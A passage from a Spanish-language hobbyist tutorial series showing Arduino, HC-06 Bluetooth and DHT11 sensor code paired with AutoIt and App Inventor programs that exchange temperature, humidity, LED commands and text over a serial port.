$GUI\_GR\_REFRESH)  sleep(50)  **EndIf**  **If** $recibido = 'b' **Then**  GUICtrlSetGraphic($circulo1**,** $GUI\_GR\_COLOR**,** 0**,** 0xecc6d9)  GUICtrlSetGraphic($circulo1**,** $GUI\_GR\_ELLIPSE**,** 8**,** 8**,** 40**,** 40)  GUICtrlSetGraphic($circulo1**,** $GUI\_GR\_REFRESH)  sleep(50)  **EndIf**  **WEnd**  \_Commcloseport(true)  **Func** Salir()  **Exit**  **EndFunc**  **Func** LED13no()  \_CommSendstring(0 & @CR)  **EndFunc**  **Func** LED13si()  \_CommSendstring(1 & @CR)  **EndFunc**  **Func** LED12no()  \_CommSendstring(2 & @CR)  **EndFunc**  **Func** LED12si()  \_CommSendstring(3 & @CR)  **EndFunc**  **Func** Conecta($mode = 1)  **Local** $Error  $abre\_este\_puerto = \_CommSetPort(29**,** $Error**,** 9600**,** 8**,** 1**,** 1**,** 2)  Sleep(1000)  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
5.- Ejecución del Script de AutoIt.**

- Según introduzcamos en el casillero **un 0 o un 1**se apagará/encenderá el LED13 del Arduino.

- Según **pulsemos un botón u otro** del Arduino cambiará el color de los círculos del AutoIt.

- Las pruebas las he realizado simplemente con el LED13 del Arduino y el botón4, para facilitar la compresión del código, aunque en algunas partes del código se contempla LED12 y botón9.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- C

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**68.- Sensor de humedad y temperatura DHT 11. Arduino. Bluetooth. AutoIt.**

- En los tutoriales de Arduino vimos el sensor DHT 11:

<http://kio4.com/arduino/45humedad.htm>

- Con el sensor DHT 11 podemos captar humedad y temperatura. En este tutorial solo trabajaremos con la temperatura.

- En esta aplicación se captará temperatura y humedad con el DHT 11 conectado al Arduino. Mediante el módulo bluetooth se enviará la Temperatura.

- El ordenador con bluetooth y mediante el AutoIt tomará esa temperatura y la irá mostrando en un gráfico.

|  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| **\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 1.- Conexión del Arduino, el módulo Bluetooth HC-06 y el sensor DHT 11.**  - Esto ya lo hemos visto en el tutorial anterior.  **- Forma de conectarlo.**   |  |  | | --- | --- | | **Módulo Bluetooh** | **Arduino** | | VCC | 5 V | | GND | GND | | TXD | RX (es la conexión 0 del Arduino) | | RXD | TX (es la conexión 1 del Arduino) |   - Fíjate que el **TXD va con el RX y que el RXD va con el TX**  - En el momento de alimentarlo con los 5V, el LED del módulo bluetooth parpadeará.  - Como se ve en la imagen, el terminal Data del módulo del sensor DHT 11 está conectado al terminal 10 del Arduino. |  |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
3.- Código del Arduino.**

- Este código lo vimos en el tutorial: <http://kio4.com/arduino/45humedad.htm>

- NOTA: cuando vayas a cargar el programa en el Arduino, desconecta la alimentación del módulo bluetooth.

|  |
| --- |
| **bluetooth\_autoit\_dht11.ino** |
| **#include** "DHT.h"  **#define DHTPIN 10**  **#define DHTTYPE DHT11**  DHT dht**(**DHTPIN**,** DHTTYPE**);**  **// Juan A. Villalpando**  void setup**()** **{**  Serial**.**begin**(**9600**);**  dht**.**begin**();**  **}**  void loop**(){**  float humedad = dht**.**readHumidity**();**  float temperatura = dht**.**readTemperature**();**  **//Serial.print("Humedad: ");**  **//Serial.println(humedad);**  **// Serial.print("Temperatura :");**  Serial**.print(**temperatura**);**  Serial**.print(**":"**);**  delay**(**500**);**  **}** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
4.- Código de AutoIt.**

- La librería **CommNG.au3** la he puesto en la carpeta **Include** de donde está instalado el AutoIt.

- También es necesario **commg.dll** como vimos en el tutorial [**62\_bluethoot\_arduino.htm**](http://kio4.com/autoit/62_bluethoot_arduino.htm)

- Esta línea es donde se establece la configuración del bluetooth.

- El 29 es el COM29, el puerto del bluetooth en mi ordenador.

$abre\_este\_puerto = \_CommSetPort(29**,** $Error**,** 9600**,** 8**,** 1**,** 1**,** 2)

|  |
| --- |
| **bluetooth\_autoit\_arduino\_temperatura.au3** |
| #include <CommMG.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  #include <GDIPlus.au3>  $ancho = 1247  $alto = 443  **#Region ### START Koda GUI section ###**  $Form1 = GUICreate("DHT 11 - Juan A. Villalpando"**,** $ancho**,** $alto**,** -1**,** -1)  \_GDIPlus\_Startup ()  **Global** $grafico = \_GDIPlus\_GraphicsCreateFromHWND($Form1)  $Label1 = GUICtrlCreateLabel("(S)"**,** 1168**,** 400**,** 17**,** 17)  GUISetOnEvent($GUI\_EVENT\_CLOSE**,** "Salir")  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando**  **#EndRegion ### END Koda GUI section ###**  **Global** $x**,**$y**,** $lstx**,**$lsty  $color = \_GDIPlus\_PenCreate(0xFF0000FF**,** 8)  Opt("GUIOnEventMode"**,** 1)  **For** $i = 0 **To** $alto **Step** $alto/5  \_GDIPlus\_GraphicsDrawLine($grafico**,**0**,**($alto-$i)**,**$ancho**,**($alto-$i))  GUICtrlCreateLabel($i/$alto\*50**,**0**,**$alto-$i+3**,**15**,**17)  **Next**  **For** $i = 0 **To** $ancho **Step** $ancho/100  \_GDIPlus\_GraphicsDrawLine($grafico**,**($ancho-$i)**,**0**,**($ancho-$i)**,**$alto)  **Next**  Conecta(0)  $timer = TimerInit()  **While** 1  $recibido = \_CommGetLine(':'**,** 0**,** 0)  $temperatura = StringSplit($recibido**,** ":")  $y = $temperatura[1]\*$alto/50  ConsoleWrite($recibido&@CRLF)  ConsoleWrite($y&@CRLF)  $x = TimerDiff($timer)/1000\*($ancho/100)  GUICtrlSetData($Label1**,**$x/($ancho/100))  **If** $x > $ancho **Then**  $timer = TimerInit()  $x = 0  $y = 0  $lstx = 0  $lsty = 0  **EndIf**  **If** $lstx = 0 **Then**  $lstx = $x  $lsty = $alto-$y  **EndIf**  \_GDIPlus\_GraphicsDrawLine($grafico**,**$lstx**,**$lsty**,**$x**,**$alto-$y**,**$color)  $lstx = $x  $lsty = $alto-$y  Sleep(500)  **WEnd**  **Func** salir()  **Exit**  **EndFunc**  **Func** Conecta($mode = 1)  **Local** $Error  $abre\_este\_puerto = \_CommSetPort(29**,** $Error**,** 9600**,** 8**,** 1**,** 1**,** 2)  Sleep(1000)  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
4.- Comentarios.**

- El Ardino envía Serial**.print(**":"**);** indicando fin de información.

- El AutoIt crea el gráfico con las dimensiones de ancho y alto.

- Recibe la información mediante $recibido = \_CommGetLine(':'**,** 0**,** 0).

- El ":" le indicará que ese es el final del mensaje.

- Obtendremos 25.00:

- Las siguientes líneas quita ":" y obtenemos 25.00

- Adaptamos el 25.00 al tamaño de la ventana y dibujamos una línea azul, esa es la parte más complicada del código.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- C

**\_\_\_\_\_\_\_\_\_**

**68B.- Sensor de humedad y temperatura DHT 11. Consulta temperatura y humedad.**

- En los tutoriales de Arduino vimos el sensor DHT 11:

<http://kio4.com/arduino/45humedad.htm>

- Con el sensor DHT 11 podemos captar humedad y temperatura.

- En esta aplicación tenemos dos botones, según pulsemos uno u otro, obtendremos por bluetooth la temperatura o humedad del sensor DHT 11.

|  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| **\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 1.- Conexión del Arduino, el módulo Bluetooth HC-06 y el sensor DHT 11.**  - Esto ya lo hemos visto en el tutorial anterior.  **- Forma de conectarlo.**   |  |  | | --- | --- | | **Módulo Bluetooh** | **Arduino** | | VCC | 5 V | | GND | GND | | TXD | RX (es la conexión 0 del Arduino) | | RXD | TX (es la conexión 1 del Arduino) |   - Fíjate que el **TXD va con el RX y que el RXD va con el TX**  - En el momento de alimentarlo con los 5V, el LED del módulo bluetooth parpadeará.  - Como se ve en la imagen, el terminal Data del módulo del sensor DHT 11 está conectado al terminal 10 del Arduino. |  |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
3.- Código del Arduino.**

- NOTA: cuando vayas a cargar el programa en el Arduino, desconecta la alimentación del módulo bluetooth.

|  |
| --- |
| **bluetooth\_autoit\_dht11.ino** |
| **// Juan Antonio Villalpando**  **// juana1991@yahoo.com**  **// kio4.com**  **#include** "DHT.h"  **#define DHTPIN 10**  **#define DHTTYPE DHT11**  DHT dht**(**DHTPIN**,** DHTTYPE**);**  char val**;**  void setup**()** **{**  Serial**.**begin**(**9600**);**  **}**  void loop**(){**  **if(** Serial**.**available**()** **)**  val = Serial**.**read**();**  float humedad = dht**.**readHumidity**();**  float temperatura = dht**.**readTemperature**();**  **if(** val == 'A' **)**  **{**  Serial**.print(**temperatura**);**  Serial**.print(**"T:"**);**  delay**(**300**);**  **}**  **if(** val == 'B' **)**  **{**  Serial**.print(**humedad**);**  Serial**.print(**"H:"**);**  delay**(**300**);**  **}**  **}** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
4.- Código de AutoIt.**

- La librería **CommNG.au3** la he puesto en la carpeta **Include** de donde está instalado el AutoIt.

- También es necesario **commg.dll** como vimos en el tutorial [**62\_bluethoot\_arduino.htm**](http://kio4.com/autoit/62_bluethoot_arduino.htm)

- Esta línea es donde se establece la configuración del bluetooth.

- El 29 es el **COM29**, el puerto del bluetooth en mi ordenador.

$abre\_este\_puerto = \_CommSetPort(29**,** $Error**,** 9600**,** 8**,** 1**,** 1**,** 2)

|  |
| --- |
| **bluetooth\_autoit\_arduino\_consulta.au3** |
| #include <CommMG.au3>  #include <GuiComboBox.au3>  #include <windowsconstants.au3>  #include <buttonconstants.au3>  #include <GUIConstantsEx.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1\_1 = GUICreate("Consultar - Juan A. Villalpando"**,** 387**,** 256**,** 368**,** 166)  $Btntemperatura = GUICtrlCreateButton("Consultar temperatura"**,** 36**,** 57**,** 149**,** 30**,** $BS\_FLAT)  $Btnhumedad = GUICtrlCreateButton("Consultar humedad"**,** 201**,** 57**,** 141**,** 30**,** $BS\_FLAT)  $Label1 = GUICtrlCreateLabel("La temperatura es: "**,** 32**,** 136**,** 316**,** 17)  $Label2 = GUICtrlCreateLabel("La humedad es: "**,** 32**,** 178**,** 316**,** 17)  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando**  **#EndRegion ### END Koda GUI section ###**  **While** Conecta(0) = -1  **WEnd**  Opt("GUIOnEventMode"**,** 1)  GUISetOnEvent($GUI\_EVENT\_CLOSE**,** "Salir")  GUICtrlSetOnEvent($Btntemperatura**,** "Temperatura")  GUICtrlSetOnEvent($Btnhumedad**,** "Humedad")  **While** 1  $recibido = \_CommGetLine(':'**,** 0**,** 0)  **If** StringInStr($recibido**,** "T:") **Then**  GUICtrlSetData($Label1**,** "La temperatura es: " & $recibido)  **EndIf**  **If** StringInStr($recibido**,** "H:") **Then**  GUICtrlSetData($Label2**,** "La humedad es: " & $recibido)  **EndIf**  **WEnd**  **Func** Salir()  **Exit**  **EndFunc**  **Func** Temperatura()  \_CommSendstring("A" & @CR)  **EndFunc**  **Func** Humedad()  \_CommSendstring("B" & @CR)  **EndFunc**  **Func** Conecta($mode = 1)  **Local** $Error  $abre\_este\_puerto = \_CommSetPort(29**,** $Error**,** 9600**,** 8**,** 1**,** 1**,** 2)  Sleep(1000)  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
4.- Comentarios.**

- El AutoIt envía una "A" o una "B" por Bluetooth.

- El Arduino según reciba "A" o "B", toma la temperatura o la humedad y la envía de esta manera

25.00T:

57.00H:

- Los dos puntos se ponen para indicarle al AutoIt fin del envío. La T y la H para diferenciar temperatura o humedad.

- El AutoIt recibe la información, los dos puntos ":" le indica fin del envío.

- Según reciba T: o H: se escribirá en Label1 o en Label2, la temperatura o humedad.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- Se escribe de esta manera

La temperatura es**:** 25.00T:

- Se propone que mejores el código y quites el T:, para que aparezca 25.00 º

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**69.- Enviar datos por Bluetooth desde el Arduino a teléfono móvil Android. App Inventor.**

- Este tutorial **no trata de AutoIt.** En este caso vamos a conectar Arduino con el teléfono móvil Android mediante Bluetooth.

- Esto ya lo vimos en el tutorial [**9bluetootharduino.htm**](http://kio4.com/appinventor/9bluetootharduino.htm), pero lo volvemos a recordar.

- El funcionamiento es similar al de los tutoriales anteriores, escribimos un 0 o un 1 en el casillero y pulsamos el botón "Enviar", se encenderá/apagará el LED13 del Arduino.

- Si pulsamos un botón del Arduino y se escribirá un mensaje en el móvil.

|  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| **\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 1.- Conexión del Arduino y el módulo Bluetooth HC-06.**  - Esto ya lo hemos visto en el tutorial anterior.  **- Forma de conectarlo.**   |  |  | | --- | --- | | **Módulo Bluetooh** | **Arduino** | | VCC | 5 V | | GND | GND | | TXD | RX (es la conexión 0 del Arduino) | | RXD | TX (es la conexión 1 del Arduino) |   - Fíjate que el **TXD va con el RX y que el RXD va con el TX**  - En el momento de alimentarlo con los 5V, el LED del módulo bluetooth parpadeará. |  |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
3.- Código del Arduino. El mismo que el del tutorial anterior.**

- Este código prepara el puerto Serie (terminales 0 y 1, donde está conectado el módulo bluetooth) para trasmitir/recibir información a 9600 baudios.

- Cuando recibe **un 0 o un 1**, apaga/enciende el LED13 del Arduino.

- Cuando pulsas un botón, saldrá en la aplicación de AutoIt "Hola amigo", cuando pulses el otro botón saldrá "Me llamo Juan".

- NOTA: cuando vayas a cargar el programa en el Arduino, desconecta la alimentación del módulo bluetooth.

|  |
| --- |
| **bluetooth\_autoit\_pulsador.ino** |
| **// Juan Antonio Villalpando**  **// juana1991@yahoo.com**  **// kio4.com**  char val**;**  int ledPin13 = 13**;**  **///////////////////// Arduino a Android**  **const** int boton4 = 4**;**  **const** int boton9 = 9**;**  int buttonState4 = 0**;**  int buttonState9 = 0**;**  void setup**()** **{**  Serial**.**begin**(**9600**);**  pinMode**(**boton4**,** INPUT**);**  pinMode**(**boton9**,** INPUT**);**  pinMode**(**ledPin13**,** OUTPUT**);**  **}**  void loop**(){**  buttonState4 = digitalRead**(**boton4**);**  buttonState9 = digitalRead**(**boton9**);**  **if** **(**buttonState4 == HIGH**)** **{**  Serial**.**println**(**"Hola amigo"**);**  delay**(**50**);**  **}**  **if** **(**buttonState9 == HIGH**)** **{**  Serial**.**println**(**"Me llamo Juan"**);**  delay**(**50**);**  **}**  **///////// Android a Arduino**  **/// LED 13**  **if(** Serial**.**available**()** **)**  val = Serial**.**read**();**  **if(** val == '0' **)**  **{**  digitalWrite**(**ledPin13**,** LOW**);**  **}**  **if(** val == '1' **)**  **{**  digitalWrite**(**ledPin13**,** HIGH**);**  **}**  **}** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
4.- Código de App Inventor para el Android.**

[**p41\_arduino\_a\_movil.aia**](http://kio4.com/appinventor/aplicaciones/p41_arduino_a_movil.aia)**(Para App inventor 2)**

- Esto lo vimos en los tutoriales de App Inventor, concretamente en [**9bluetootharduino.htm**](http://kio4.com/appinventor/9bluetootharduino.htm)

**- Si no tienes App Inventor, carga la aplicación mediante este código:**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Diseño.**

- El**Conectar** es un **SelectorDeLista**  
- Un **CampoDeTexto.**  
- El **Reloj**tiene **IntervaloDeTiempo = 10**

|  |  |
| --- | --- |
|  | - Escribes 0 o 1 y se apagará o encenderá el LED13 del Arduino.  - Si pulsas un botón del Arduino, se escribirá un mensaje en el móvil. |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Bloques.**

- Cuando pulsamos el **SelectorDeLista de Conectar**, éste se carga con los dispositivos Bluetooth encontrados.  
  
- Cuando pulsamos a nuestro dispositivo Bluetooth que ha salido en la lista del**SelectorDeLista**, entra el proceso de conexión.  
- Se habilitan/deshabilitan controles y se envía un mensaje.

- Cuando pulsamos un botón en el Arduino, se envía un texto por Bluetooth.  
- El **Reloj.Temporizador**, está contínuamente chequeando si hay Bytes disponibles recibidos, cada IntervaloDeTiempo = 10, hace este chequeo.  
- Así que el Reloj está continuamente en funcionamiento chequeando.

- En caso que se detecte Bytes disponibles recibidos, éstos se escriben en la Etiqueta, es el texto enviado por el Arduino.

- El **Botón Borrar**, borra la información del Label.

- El **Botón Enviar**: si **escribimos en el casillero CampoDeTexto** **un 1 o un 0**, se enviará al Arduino y se encenderá/apagará el LED13.

- El **Botón Desconectar**, realiza la desconexión Bluetooth.

- Como verás existe el efecto rebote, es decir el Arduino está enviando el texto durante el tiempo de pulsado del botón, en cada pulsado envía varios mensajes correspondientes a ese botón, efecto rebote.

- Para solucionarlo, cambia el**delay** en el código del Arduino o agrega un fin de texto a cada mensaje y cuando lo reciba el móvil que no admita otro hasta pasado un tiempo.

- Esta es una conexión asíncrona, es decir el Reloj y por consiguiente el móvil está continuamente chequeando si hay información, esto no es una buena forma ya que consume recursos, sería mejor utilizar un porceso asíncrono, esto es que el Arduino enviara una señal y el móvil la reconiera sin utilizar el lazo del reloj, este es un proceso más complicado y no vemos en este sencillo tutorial de aprendizaje.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- C

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**69B.- Bluetooh y ordenador. Enviar/recibir datos desde Android al ordenador. App Inventor.**

- En este tutorial vamos a ver cómo podemos conectar nuestro móvil al ordenador por Bluetooth.

- Podremos enviar un texto desde al Android al ordenador y viceversa.

- Utilizaremos AutoIt en el ordenador y App Inventor en el móvil.

- Los códigos que vamos a utilizar son los mismos que hemos visto en los tutoriales anteriores.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
1.- Código de App Inventor para el Android. Es el mismo código visto en un tutorial anterior. No cambia nada.**

[**p41\_arduino\_a\_movil.aia**](http://kio4.com/appinventor/aplicaciones/p41_arduino_a_movil.aia)**(Para App inventor 2)**

- Esto lo vimos en los tutoriales de App Inventor, concretamente en [**9bluetootharduino.htm**](http://kio4.com/appinventor/9bluetootharduino.htm)

**- Si no tienes App Inventor, carga la aplicación mediante este código:**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Diseño.**

- El**Conectar** es un **SelectorDeLista**  
- Un **CampoDeTexto.**  
- El **Reloj**tiene **IntervaloDeTiempo = 10**

|  |  |
| --- | --- |
|  | - Escribes un texto, pulsas el botón "Enviar" y ese texto se enviará por Bluetooth al ordenador, lo recibirá el AutoIt.  - Si escribes un texto en la aplicación que veremos de AutoIt y pulsas su botón, se enviará desde el AutoIt al Android por Bluetooth. |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Bloques.**

- Cuando pulsamos el **SelectorDeLista de Conectar**, éste se carga con los dispositivos Bluetooth encontrados.  
  
- Cuando pulsamos a nuestro dispositivo Bluetooth que ha salido en la lista del**SelectorDeLista**, entra el proceso de conexión.  
- Se habilitan/deshabilitan controles y se envía un mensaje.

- Cuando pulsamos un botón en el Arduino, se envía un texto por Bluetooth.  
- El **Reloj.Temporizador**, está contínuamente chequeando si hay Bytes disponibles recibidos, cada IntervaloDeTiempo = 10, hace este chequeo.  
- Así que el Reloj está continuamente en funcionamiento chequeando.

- En caso que se detecte Bytes disponibles recibidos, éstos se escriben en la Etiqueta, es el texto enviado por el móvil.

- El **Botón Borrar**, borra la información del Label.

- El **Botón Enviar**: si **escribimos en el casillero CampoDeTexto** **una frase y se enviará al ordenador**

- El **Botón Desconectar**, realiza la desconexión Bluetooth.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Código del AutoIt en el ordenador. Es el mismo código visto en un tutorial anterior. No cambia nada.**

- Lo obtenemos de:  
  
<https://www.autoitscript.com/forum/topic/183106-question-regarding-serial-coms/#comment-1314735>

- Son necesarias las librerías:

[CommMG.au3](https://www.autoitscript.com/forum/applications/core/interface/file/attachment.php?id=48374)

[commg.dll](https://www.autoitscript.com/forum/applications/core/interface/file/attachment.php?id=48375)

- Que las puedes obtener de aquí:  
  
<https://www.autoitscript.com/forum/topic/177095-windows-10-problem-with-commmgau3-serial-send-to-arduino/>

- El archivo **CommMG.au3** lo copias en la carpeta **Include** de donde tengas instalado el AutoIt, por ejemplo: **C:\Program Files (x86)\AutoIt3\Include**

- El archivo **commg.dll** lo copias en la misma carpeta en la que vas a guardar el siguiente Script:

|  |
| --- |
| **bluetooth\_autoit\_ordenador.au3** |
| **;Example program showing how to use some of the commMg3.au3 UDF functions**  **;this example is a very simple terminal**  **;Version 2 26th July 2006**  **;changes-**  **;change flow control checkbox to combo and add NONE**  **;correct error in call to \_CommSetPort - stop bits were missing which meant th eflow control was used for stop bits**  **;Dec 2013 - correct setting of Parity and flow, thanks to MichaelXMike**  #include <GUIConstants.au3>  #include <CommMG.au3>**;or if you save the commMg.dll in the @scripdir use #include @SciptDir & '\commmg.dll'**  #include <GuiEdit.au3>  #include <GuiComboBox.au3>  #include <windowsconstants.au3>  #include <buttonconstants.au3>  #include <Array.au3>  Opt("WINTITLEMATCHMODE"**,** 3)  **;Opt("OnExitFunc","alldone")**  HotKeySet("{ESC}"**,** "alldone")  $result = ''**;used for any returned error message setting port**  **Const** $settitle = "COMMG listExample - set Port"**,** $maintitle = "COMMG Example"  $setflow = 2**;default to no flow control**  **Dim** $FlowType[3] = ["Hardware (RTS, CTS)"**,** "XOnXoff"**,** "NONE"]  **Dim** $ParityType[5] = ["odd"**,** "even"**,** "none"**,** "Mark"**,** "Space"]  #region main program  **#Region ### START Koda GUI section ### Form=d:\my documents\miscdelphi\commg\ExampleComm.kxf**  $Form2 = GUICreate("COMMG Example"**,** 473**,** 349**,** 339**,** 333**,** BitOR($WS\_MAXIMIZEBOX**,** $WS\_MINIMIZEBOX**,** $WS\_SIZEBOX**,** $WS\_THICKFRAME**,** $WS\_SYSMENU**,** $WS\_CAPTION**,** \_  $WS\_OVERLAPPEDWINDOW**,** $WS\_TILEDWINDOW**,** $WS\_POPUP**,** $WS\_POPUPWINDOW**,** $WS\_GROUP**,** $WS\_TABSTOP**,** $WS\_BORDER**,** $WS\_CLIPSIBLINGS))  $Edit1 = GUICtrlCreateEdit(""**,** 10**,** 25**,** 449**,** 223**,** BitOR($ES\_AUTOVSCROLL**,** $ES\_AUTOHSCROLL**,** $ES\_READONLY**,** $ES\_WANTRETURN**,** $WS\_HSCROLL**,** $WS\_VSCROLL))  $BtnSend = GUICtrlCreateButton("Send"**,** 380**,** 273**,** 53**,** 30**,** $BS\_FLAT)  $Input1 = GUICtrlCreateInput(""**,** 18**,** 279**,** 361**,** 21)  $Checkbox1 = GUICtrlCreateCheckbox("Add LF to incomming CR"**,** 273**,** 4**,** 145**,** 17)  GUICtrlSetState(-1**,** $GUI\_CHECKED)  GUICtrlSetResizing(-1**,** $GUI\_DOCKAUTO)  $Label11 = GUICtrlCreateLabel("Text to send"**,** 24**,** 261**,** 63**,** 17)  $BtnSetPort = GUICtrlCreateButton("Set Port"**,** 16**,** 312**,** 73**,** 30**,** $BS\_FLAT)  $Label21 = GUICtrlCreateLabel("Received text"**,** 34**,** 6**,** 70**,** 17)  $Label31 = GUICtrlCreateLabel("commg.dll version unknown"**,** 272**,** 328**,** 135**,** 17)  GUICtrlSetColor(-1**,** 0x008080)  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  WinSetTitle($Form2**,** ""**,** $maintitle & " UDF = " & \_CommGetVersion(1))  **While** setport(0) = -1  **If** MsgBox(4**,** 'Port not set'**,** 'Do you want to quite the program?') = 6 **Then** **Exit**  **WEnd**  ConsoleWrite("stage 1" & @CRLF)  GUICtrlSetData($Label31**,** 'using ' & \_CommGetVersion(1))  ConsoleWrite("stage 2" & @CRLF)  Events()  ConsoleWrite("at 64" & @CRLF)  \_CommSetXonXoffProperties(11**,** 13**,** 100**,** 100)  **;consolewrite("return from set timeouts = " & \_CommSetTimeouts(5,5,5,5,5) & @CR)**  GUICtrlSetState($Edit1**,** $GUI\_FOCUS)  ConsoleWrite("at 67" & @CRLF)  **While** 1  **;sleep(40)**  **;gets characters received returning when one of these conditions is met:**  **;receive @CR, received 20 characters or 200ms has elapsed**  $instr = \_commGetLine(@CR**,** 20**,** 200)**;\_CommGetString()**  **If** $instr <> '' **Then;if we got something**  **If** GUICtrlRead($Checkbox1) = $GUI\_CHECKED **Then** $instr = StringReplace($instr**,** @CR**,** @CRLF)  FileWrite(@ScriptDIr & "/Data.txt"**,** $instr)  GUICtrlSetData($Edit1**,** $instr**,** 1)  **Else**  Sleep(20) **;MichaelXMike**  **EndIf**  **WEnd**  Alldone()  **Func** port11()  **;MsgBox(0,'now set to channel',\_CommSwitch(2))**  \_commSwitch(2)  $s2 = "1 2 3 4"**;\_CommGetString()**  ConsoleWrite("comm1 gets " & $s2 & @CRLF)  \_CommSendString($s2)  \_CommSwitch(1)  **EndFunc** **;==>port11**  #endregion main program  **Func** Events()  Opt("GUIOnEventMode"**,** 1)  GUISetOnEvent($GUI\_EVENT\_CLOSE**,** "justgo")  GUICtrlSetOnEvent($BtnSend**,** "SendEvent")  GUICtrlSetOnEvent($BtnSetPort**,** "SetPortEvent")  **EndFunc** **;==>Events**  **Func** SetPortEvent()  setport()**;needed because a parameter is optional for setport so we can't use "setport" for the event**  GUICtrlSetState($Edit1**,** $GUI\_FOCUS)  **EndFunc** **;==>SetPortEvent**  **Func** justgo()  **Exit**  **EndFunc** **;==>justgo**  **Func** SendEvent()**;send the text in the inputand append CR**  \_CommSendstring(GUICtrlRead($Input1) & @CR)  GUICtrlSetData($Input1**,** '')**;clear the input**  **;GUICtrlSetState($edit1,$GUI\_FOCUS);sets the caret back in the terminal screen**  **EndFunc** **;==>SendEvent**  **Func** AllDone()  **;MsgBox(0,'will close ports','')**  \_Commcloseport(true)  **;MsgBox(0,'port closed','')**  **Exit**  **EndFunc** **;==>AllDone**  **; Function SetPort($mode=1)**  **; Creates a form for the port settings**  **;Parameter $mode sets the return value depending on whether the port was set**  **;Returns 0 if $mode <> 1**  **; -1 If` the port not set and $mode is 1**  **Func** SetPort($mode = 1)**;if $mode = 1 then returns -1 if settings not made**  **Local** $sportSetError  Opt("GUIOnEventMode"**,** 0)**;keep events for $Form2, use GuiGetMsg for $Form3**  **#Region ### START Koda GUI section ### Form=d:\my documents\miscdelphi\commg\examplecommsetport.kxf**  $Form3 = GUICreate("COMMG Example - set Port"**,** 422**,** 279**,** 329**,** 268**,** BitOR($WS\_MINIMIZEBOX**,** $WS\_CAPTION**,** $WS\_POPUP**,** $WS\_GROUP**,** $WS\_BORDER**,** $WS\_CLIPSIBLINGS**,** \_  $DS\_MODALFRAME)**,** BitOR($WS\_EX\_TOPMOST**,** $WS\_EX\_WINDOWEDGE))  $Group1 = GUICtrlCreateGroup("Set COM Port"**,** 18**,** 8**,** 288**,** 252)  $CmboPortsAvailable = GUICtrlCreateCombo(""**,** 127**,** 28**,** 145**,** 25**,** BitOR($GUI\_SS\_DEFAULT\_COMBO**,** $CBS\_SORT))  $CmBoBaud = GUICtrlCreateCombo("9600"**,** 127**,** 66**,** 145**,** 25**,** BitOR($CBS\_DROPDOWN**,** $CBS\_AUTOHSCROLL**,** $CBS\_SORT**,** $WS\_VSCROLL))  GUICtrlSetData(-1**,** "10400|110|115200|1200|128000|14400|150|15625|1800|19200|2000|2400|256000|28800|38400|3600|38400|4800|50|56000|57600|600|7200|75")  $CmBoStop = 